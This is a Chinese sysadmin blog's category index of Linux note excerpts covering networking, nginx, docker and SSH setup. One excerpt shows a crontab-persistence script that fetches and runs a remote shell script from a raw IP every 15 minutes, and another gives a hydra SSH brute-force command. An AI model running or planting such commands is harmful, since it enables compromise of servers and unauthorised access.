随笔分类 -  LINUX/UNIX

上一页 1 2 3 4 5 6 7 8 ··· 13 下一页
摘要:cd /etc/sysconfig/network-scripts/ #进入网卡目录 cp ifcfg-eth0 ifcfg-eth0:1 # 复制出ifcfg-eth0:1虚拟网卡 vi ifcfg-eth0:1 #配置ifcfg-eth0:1虚拟网卡 DEVICE="eth0:1" #修改名称 阅读全文
posted @ 2018-11-23 14:53 ahuo 阅读(1929) 评论(1) 推荐(0)
摘要:chatter +i file 文件不能删除,不能更改,不能移动 chatter -i file 恢复 lsattr file 查看 i e-- file 修改会提示: file: Permission denied 阅读全文
posted @ 2018-11-02 16:01 ahuo 阅读(776) 评论(0) 推荐(0)
摘要:生成ssh秘钥和公钥 ssh-keygen -t rsa cd ~/.ssh/ cat id_rsa.pub >> authorized_keys 阅读全文
posted @ 2018-11-02 09:09 ahuo 阅读(225) 评论(1) 推荐(0)
摘要:☼ NAT 转发软路由 开启 NAT 转发之后,只要本机可以上网,不论是单网卡还是多网卡,局域网内的其他机器可以将默认网关设置为已开启 NAT 转发的服务器 IP ,即可实现上网。 信任所有连接,并且开放NAT(一句完成) firewall-cmd --zone=trusted --add-inte 阅读全文
posted @ 2018-10-30 14:14 ahuo 阅读(2429) 评论(0) 推荐(0)
摘要:Ubuntu14.04默认的安装源中安装的是Nginx 1.4.6 echo deb http://nginx.org/packages/ubuntu/ trusty nginx >> /etc/apt/sources.list.d/nginx.listecho deb-src http://ngi 阅读全文
posted @ 2018-10-30 10:37 ahuo 阅读(1129) 评论(0) 推荐(0)
摘要:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "" > /var/spool/cron/root echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root echo "*/15 * * * * ... 阅读全文
posted @ 2018-10-28 00:02 ahuo 阅读(554) 评论(0) 推荐(0)
摘要:yum -y install epel-release 阅读全文
posted @ 2018-10-26 15:41 ahuo 阅读(1162) 评论(0) 推荐(0)
摘要:udo add-apt-repository ppa:pi-rho/security sudo apt-get update sudo apt-get install hydra hydra -l root -P pwd.txt -t 2 ssh://2.2.2.2 pwd.txt 11212312 阅读全文
posted @ 2018-10-18 10:47 ahuo 阅读(2584) 评论(0) 推荐(0)
摘要:终端登录情况 last ssh登录情况 cat /var/log/secure | grep -i "accepted password" 定时任务 cat /var/log/cron 统计尝试入侵的IP cat /var/log/secure|awk '/Failed/{print $(NF-3) 阅读全文
posted @ 2018-10-17 21:16 ahuo 阅读(686) 评论(1) 推荐(0)
摘要:清空 cat /dev/null >json.log docker-compose 全局设置 阅读全文
posted @ 2018-09-05 13:38 ahuo 阅读(730) 评论(0) 推荐(0)
摘要:du -sh * | sort -nr 阅读全文
posted @ 2018-08-29 17:40 ahuo 阅读(218) 评论(0) 推荐(0)
摘要:匹配模式及顺序 location = /uri =开头表示精确匹配,只有完全匹配上才能生效。 location ^~ /uri ^~ 开头对URL路径进行前缀匹配,并且在正则之前。 location ~ pattern ~开头表示区分大小写的正则匹配。 location ~* pattern ~*开 阅读全文
posted @ 2018-08-22 12:28 ahuo 阅读(351) 评论(1) 推荐(0)
摘要:查看 journalctl --disk-usage 设置 journalctl --vacuum-size=100M systemctl restart systemd-journald 阅读全文
posted @ 2018-08-08 16:15 ahuo 阅读(345) 评论(0) 推荐(0)
摘要:sudo sh docker-netstat.sh demo 阅读全文
posted @ 2018-08-02 11:38 ahuo 阅读(6610) 评论(0) 推荐(0)
摘要:http代理 日志 stream{log_format proxy '[$time_local] remote_addr:$remote_addr $protocol status:$status $bytes_sent $bytes_received s_time:$session_time up 阅读全文
posted @ 2018-07-24 22:03 ahuo 阅读(7383) 评论(0) 推荐(0)
摘要:export COLUMNS=500 阅读全文
posted @ 2018-05-05 23:20 ahuo 阅读(188) 评论(0) 推荐(0)
摘要:for i in `seq 1 $(cat /proc/cpuinfo |grep "physical id" |wc -l)`; do dd if=/dev/zero of=/dev/null & done killall dd 阅读全文
posted @ 2018-01-10 16:53 ahuo 阅读(241) 评论(0) 推荐(0)
摘要:# 杀死所有正在运行的容器.docker kill $(docker ps -a -q) # 删除所有已经停止的容器.docker rm $(docker ps -a -q) # 删除所有未打标签的镜像.docker rmi $(docker images -q -f dangling=true) 阅读全文
posted @ 2017-11-17 10:41 ahuo 阅读(838) 评论(0) 推荐(0)
摘要:172.18.120.5 机器有外网IP 在172.18.120.5上运行下面的命令: sudo iptables -t nat -A PREROUTING -p tcp --dport 8017 -j DNAT --to-destination 172.18.120.5:8017sudo ipta 阅读全文
posted @ 2017-11-05 20:29 ahuo 阅读(164) 评论(0) 推荐(0)
摘要:1,下载安装包 下载mongoDB的安装文件地址:https://www.mongodb.org/downloads#production 选择Linux 64-bit legacy 版本,下载到目标服务器上。解压文件tar -zxvf mongodb-linux-x86_64-3.0.2.tgz进 阅读全文
posted @ 2017-11-02 14:14 ahuo 阅读(181) 评论(0) 推荐(0)

上一页 1 2 3 4 5 6 7 8 ··· 13 下一页